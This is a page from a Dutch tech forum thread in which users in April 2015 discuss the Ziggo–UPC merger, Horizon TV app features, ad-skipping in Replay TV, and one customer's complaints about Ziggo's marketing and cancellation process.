[ Voor 22% gewijzigd door Koekenbakkertje op 13-04-2015 10:29 ]


  • tellavist
  • Registratie: Februari 2014
  • Laatst online: 22-10 15:17
THE_BASE schreef op maandag 13 april 2015 @ 10:26:
Overigens vraag ik mij af: kan ik nu alle diensten van Horizon.tv gebruiken online en via applicatie zonder Mediabox?
Als het goed is wel, je kan alleen geen opnames voor je horizon box laten inplannen via de app natuurlijk :+

Een handtekening?!


  • THE_BASE
  • Registratie: Januari 2004
  • Niet online
tellavist schreef op maandag 13 april 2015 @ 10:36:
[...]


Als het goed is wel, je kan alleen geen opnames voor je horizon box laten inplannen via de app natuurlijk :+
Dat maakt me niet uit. Feitelijk zou ik voor de nieuwe dienst 10 euro moeten gaan betalen (plus voor smartcards 2 euro extra per maand (heb er drie). En dan kan ik niet doorspoelen bij reclames. Dus ik hou het wel bij mijn Humax. :)

KIA EV3 GT-Line LR  iPhone 17 Pro  MacBook Air M4  iMac M4  iPad mini 6  Watch Series 10  TV 4K HDR  AirPods Pro 2 & Max


  • tellavist
  • Registratie: Februari 2014
  • Laatst online: 22-10 15:17
THE_BASE schreef op maandag 13 april 2015 @ 10:38:
[...]

En dan kan ik niet doorspoelen bij reclames.
Dit kan alleen niet als je gebruik maakt van Replay TV (is opzich logisch aangezien het een gratis dienst is)
als je zelf iets opgenomen hebt kan je doorspoelen wat je wilt.

Een handtekening?!


  • KoffieAnanas
  • Registratie: Mei 2012
  • Laatst online: 11-12 23:34
Ik heb het gehad met Ziggo. Belofte was dat er niets zou veranderen, maar de afgelopen maanden is er telkens weer iets veranderd. Ze doen het in stapjes, maar er verandert steeds meer. En ik ben de 'feel good' en 'alles wordt beter' berichten wel een beetje zat. Ik woon niet in Amerika, geef mij maar Hollandse nuchterheid... ;)

En voor mij is niet alles beter geworden, maar alles is slechter geworden. Het zijn geen grote achteruitgangen, maar bij elkaar opgeteld is voor mij nu wel genoeg geweest. Ik ben overgestapt naar een andere alles-in-1 aanbieder. Niet om er wat aanbod betreft op vooruit te gaan, maar om zowel een statement te maken als dat ik de misleidende communicatie van Ziggo zat ben.

En het erge is nog dat je na opzegging een brief van de Ziggo krijgt waarin je verzocht wordt om Ziggo te bellen omdat je anders tegen mogelijke extra kosten aanloopt... WTF! Meer staat er niet in de brief. :S Dus ik bel de Ziggo, krijg je wederom een 'feel good' medewerker (kots, kots) aan de telefoon met een 'feel good' afscheidspraatje. 'Ja meneer, we hebben alle begrip voor uw besluit. Jammer dat u vertrekt, want de fusie brengt alleen maar voordelen voor u. Zo willen juist trouwe klanten gaan belonen met korting e.d.". Blablabla. Kortom, de brief was alleen maar bedoeld om je te verleiden even te bellen met de Ziggo om een 'feel good' praatje aan te horen. Slimme marketingtruc, want mensen zijn eerder geneigd dit te accepteren dan andersom (dat de Ziggo uit zichzelf belt). Maar voor mij geldt door deze actie van Ziggo juist dat mijn overstap een juiste keuze is geweest.

Veel succes verder aan alle Ziggo klanten. Feel good! ;)

Verwijderd

Vanaf vandaag ben ik ook klant van Ziggo. Ik was jaren klant van UPC.
De hele overzetting van UPC naar Ziggo verloopt tot nu toe prima.

Het inloggen op Ziggo.nl ging vanochtend ook prima.
Maar door overbelasting en werkzaamheden lukt het
nu maar af en toe.

  • Tijntje
  • Registratie: Februari 2000
  • Nu online

Tijntje

Hello?!

KoffieAnanas schreef op maandag 13 april 2015 @ 11:01:
Ik heb het gehad met Ziggo. Belofte was dat er niets zou veranderen, maar de afgelopen maanden is er telkens weer iets veranderd. Ze doen het in stapjes, maar er verandert steeds meer. En ik ben de 'feel good' en 'alles wordt beter' berichten wel een beetje zat. Ik woon niet in Amerika, geef mij maar Hollandse nuchterheid... ;)

En voor mij is niet alles beter geworden, maar alles is slechter geworden. Het zijn geen grote achteruitgangen, maar bij elkaar opgeteld is voor mij nu wel genoeg geweest. Ik ben overgestapt naar een andere alles-in-1 aanbieder. Niet om er wat aanbod betreft op vooruit te gaan, maar om zowel een statement te maken als dat ik de misleidende communicatie van Ziggo zat ben.

En het erge is nog dat je na opzegging een brief van de Ziggo krijgt waarin je verzocht wordt om Ziggo te bellen omdat je anders tegen mogelijke extra kosten aanloopt... WTF! Meer staat er niet in de brief. :S Dus ik bel de Ziggo, krijg je wederom een 'feel good' medewerker (kots, kots) aan de telefoon met een 'feel good' afscheidspraatje. 'Ja meneer, we hebben alle begrip voor uw besluit. Jammer dat u vertrekt, want de fusie brengt alleen maar voordelen voor u. Zo willen juist trouwe klanten gaan belonen met korting e.d.". Blablabla. Kortom, de brief was alleen maar bedoeld om je te verleiden even te bellen met de Ziggo om een 'feel good' praatje aan te horen. Slimme marketingtruc, want mensen zijn eerder geneigd dit te accepteren dan andersom (dat de Ziggo uit zichzelf belt). Maar voor mij geldt door deze actie van Ziggo juist dat mijn overstap een juiste keuze is geweest.

Veel succes verder aan alle Ziggo klanten. Feel good! ;)
Ben benieuwd waar je heen bent gegaan?

Als het niet gaat zoals het moet, dan moet het maar zoals het gaat.

Pagina: 1 ... 134 ... 142 Laatste

Dit topic is gesloten.

Let op:
~~~[html]
Heb je nieuwe snelheden, heel fijn.. Maar daarmee hoeven we het topic niet te vervuilen!<br>
Werkt het niet, kijk eerst hier: <a href=https://allestoringen.nl/storing/ziggo>Ziggo Storingen</a>
~~~[/html]